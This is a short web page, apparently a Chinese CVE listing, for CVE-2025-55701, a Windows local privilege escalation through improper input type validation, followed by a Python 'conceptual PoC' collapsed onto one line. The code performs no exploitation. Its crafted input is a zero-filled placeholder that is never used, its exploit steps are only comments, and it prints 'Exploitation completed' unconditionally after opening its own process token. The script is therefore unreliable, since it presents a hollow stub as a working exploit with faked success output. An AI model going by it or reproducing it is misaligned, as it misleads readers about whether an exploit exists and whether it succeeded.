CVE-2025-55701：Microsoft Windows 输入类型验证不当导致本地提权漏洞

# CVE-2025-55701 - Microsoft Windows Local Privilege Escalation PoC (Conceptual) # Vulnerability: Improper validation of specified type of input # Impact: Local Privilege Escalation to SYSTEM # Note: This is a conceptual PoC structure based on the vulnerability description. # Actual exploitation requires specific knowledge of the affected Windows component. import ctypes import sys import struct from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF TOKEN_ALL_ACCESS = 0x000F01FF kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 ntdll = ctypes.windll.ntdll def trigger_type_confusion(): """ Trigger the type confusion vulnerability in Windows input validation. The vulnerability allows a low-privileged user to escalate privileges by providing a malformed input type to a vulnerable system component. """ # Step 1: Prepare the malicious input object with type confusion # The key is to craft an input object whose declared type does not match # its actual internal representation, exploiting the improper type validation. malicious_input = b"\x00" * 256 # Placeholder for crafted input buffer # Step 2: Interact with the vulnerable Windows component # This could involve system calls, API calls, or IOCTL requests # that fail to properly validate the input type. # Step 3: Leverage the type confusion to gain elevated privileges # The improper validation allows bypassing security checks, # resulting in privilege escalation from low-privileged user to SYSTEM. print("[*] Triggering CVE-2025-55701 type confusion vulnerability...") print("[*] Attempting privilege escalation...") # Conceptual: After successful exploitation, the process gains SYSTEM privileges # In a real exploit, this would involve specific system calls and # carefully crafted binary payloads targeting the vulnerable component. return True def verify_privileges(): """Check current process privilege level.""" try: token_handle = wintypes.HANDLE() # Open current process token result = advapi32.OpenProcessToken( kernel32.GetCurrentProcess(), TOKEN_ALL_ACCESS, ctypes.byref(token_handle) ) if result: print("[+] Token obtained successfully") kernel32.CloseHandle(token_handle) return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-55701 - Windows Local Privilege Escalation PoC") print("Microsoft Windows Input Type Validation Bypass") print("=" * 60) if trigger_type_confusion(): verify_privileges() print("[+] Exploitation completed") else: print("[-] Exploitation failed")